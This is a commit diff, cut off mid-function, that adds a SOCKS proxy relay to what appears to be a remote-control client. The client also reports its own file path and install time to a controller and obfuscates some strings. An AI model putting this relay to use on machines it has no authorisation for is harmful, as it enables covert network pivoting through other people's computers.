Implement SOCKS proxy feature

This commit is contained in:
yuanyuanxiang
2025-05-03 20:57:22 +08:00
parent 7e83dbd431
commit a98a612226
50 changed files with 15801 additions and 115 deletions

View File

@@ -70,23 +70,23 @@
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -173,6 +173,7 @@
<ClCompile Include="KeyboardManager.cpp" /> <ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" /> <ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" /> <ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
@@ -186,7 +187,6 @@
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
@@ -199,6 +199,7 @@
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" /> <ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" /> <ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" /> <ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" /> <ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" /> <ClInclude Include="resource.h" />

View File

@@ -11,9 +11,85 @@
#include "ServicesManager.h" #include "ServicesManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h"
#include "KernelManager.h" #include "KernelManager.h"
#define REG_SETTINGS "Software\\ServerD11\\Settings"
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
HKEY hKey;
LONG result = RegCreateKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
return false;
}
result = RegSetValueExA(
hKey,
keyName.c_str(),
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
static_cast<DWORD>(value.length() + 1)
);
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
HKEY hKey;
LONG result = RegOpenKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
KEY_READ,
&hKey
);
if (result != ERROR_SUCCESS) {
return false;
}
char buffer[256];
DWORD bufferSize = sizeof(buffer);
DWORD type = 0;
result = RegQueryValueExA(
hKey,
keyName.c_str(),
nullptr,
&type,
reinterpret_cast<LPBYTE>(buffer),
&bufferSize
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS && type == REG_SZ) {
outValue = buffer;
return true;
}
return false;
}
DWORD WINAPI ThreadProc(LPVOID lParam) DWORD WINAPI ThreadProc(LPVOID lParam)
{ {
THREAD_ARG_LIST ThreadArgList = {0}; THREAD_ARG_LIST ThreadArgList = {0};
@@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
return LoopManager<CKeyboardManager1, 0>(lParam); return LoopManager<CKeyboardManager1, 0>(lParam);
} }
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
return LoopManager<CProxyManager, 0>(lParam);
}

View File

@@ -18,6 +18,11 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); } ~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam; }UserParam;
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
DWORD WINAPI ThreadProc(LPVOID lParam); DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopShellManager(LPVOID lParam);
@@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);

View File

@@ -126,6 +126,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch(szBuffer[0]) switch(szBuffer[0])
{ {
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHARE: case COMMAND_SHARE:
if (ulLength > 2) { if (ulLength > 2) {
switch (szBuffer[1]) { switch (szBuffer[1]) {

View File

@@ -201,6 +201,20 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
LoginInfor.bWebCamIsExist = bWebCamIsExist; LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType())); sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
LoginInfor.AddReserved("?"); // ϵͳλ<CDB3><CEBB>
LoginInfor.AddReserved("?"); // CPU<50><55><EFBFBD><EFBFBD>
LoginInfor.AddReserved("?"); // ϵͳ<CFB5>ڴ<EFBFBD>
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
LoginInfor.AddReserved("?"); // test
std::string installTime;
auto b = ReadAppSettingA("install_time", installTime);
if (!b || installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);;
WriteAppSettingA("install_time", installTime);
}
LoginInfor.AddReserved(installTime.c_str());
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH)); std::string masterHash(skCrypt(MASTER_HASH));

View File

@@ -14,6 +14,8 @@
typedef IOCPClient CClientSocket; typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function LPTHREAD_START_ROUTINE lpStartAddress, // thread function

View File

@@ -63,6 +63,7 @@
#include <time.h> #include <time.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ // <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
class auto_tick class auto_tick
@@ -100,6 +101,10 @@ public:
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} #define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif #endif
#ifndef SAFE_DELETE_AR
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
class CLock class CLock
{ {
private: private:
@@ -124,3 +129,18 @@ public:
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
} }
}; };
class CAutoLock
{
private:
CRITICAL_SECTION &m_cs;
public:
CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
{
EnterCriticalSection(&m_cs);
}
~CAutoLock()
{
LeaveCriticalSection(&m_cs);
}
};

View File

@@ -68,22 +68,22 @@
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir> <IntDir>$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir> <IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir> <IntDir>$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir> <IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
@@ -161,7 +161,6 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="MemoryModule.h" /> <ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" /> <ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="TestRun.rc" /> <ResourceCompile Include="TestRun.rc" />

View File

@@ -71,22 +71,22 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir> <IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir> <IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -183,6 +183,7 @@
<ClCompile Include="KeyboardManager.cpp" /> <ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" /> <ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" /> <ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
@@ -196,12 +197,10 @@
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientDll.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
@@ -210,6 +209,7 @@
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" /> <ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" /> <ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" /> <ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" /> <ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" /> <ClInclude Include="resource.h" />

View File

@@ -0,0 +1,298 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ProxyManager.h"
#include <MSTcpIP.h>
#include <TCHAR.h>
#include "stdio.h"
#include <process.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
{
InitializeCriticalSection(&m_cs);
m_bUse = TRUE;
m_nSend = 0;
Threads = 0;
BYTE cmd = COMMAND_PROXY;
Send(&cmd, 1);
Mprintf("CProxyManager create: %p\n", this);
}
CProxyManager::~CProxyManager()
{
m_bUse = FALSE;
Sleep(1500);
std::map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
while (it_oneofserver != list.end()) {
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
if (p_socket) {
if (*p_socket != INVALID_SOCKET) {
closesocket(*p_socket);
*p_socket = 0;
}
SAFE_DELETE(it_oneofserver->second);
}
list.erase(it_oneofserver++);
}
Wait();
DeleteCriticalSection(&m_cs);
Mprintf("CProxyManager destroy: %p\n", this);
}
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
{
if (!m_bUse) return 0;
int ret = CManager::Send(lpData, nSize);
return ret;
}
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
{
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
*(DWORD*)&lpBuffer[5] = ip;
*(USHORT*)&lpBuffer[9] = port;
Send(lpBuffer, 11);
}
void CProxyManager::Disconnect(DWORD index)
{
BYTE buf[5];
buf[0] = TOKEN_PROXY_CLOSE;
memcpy(&buf[1], &index, sizeof(DWORD));
Send(buf, sizeof(buf));
GetSocket(index,TRUE);
}
void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_bUse) return ;
switch (lpBuffer[0]) {
/*[1]----[4]----[4]----[2]
cmd id ip port*/
case COMMAND_PROXY_CONNECT: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CLOSE: {
GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
}
break;
case COMMAND_PROXY_DATA:
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD nRet, nSend = 5, nTry = 0;
SOCKET* s = GetSocket(index);
if (!s) return;
while (s && (nSend < nSize) && nTry < 15) {
nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
Disconnect(index);
break;
} else {
nSend += nRet;
}
nTry++;
}
break;
}
}
DWORD CProxyManager::SocksThread(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE lpBuffer[11];
SOCKET* psock=new SOCKET;
DWORD ip;
sockaddr_in sockAddr;
int nSockAddrLen;
memcpy(lpBuffer, pArg->lpBuffer, 11);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
ip = *(DWORD*)&lpBuffer[5];
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = NULL;
pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
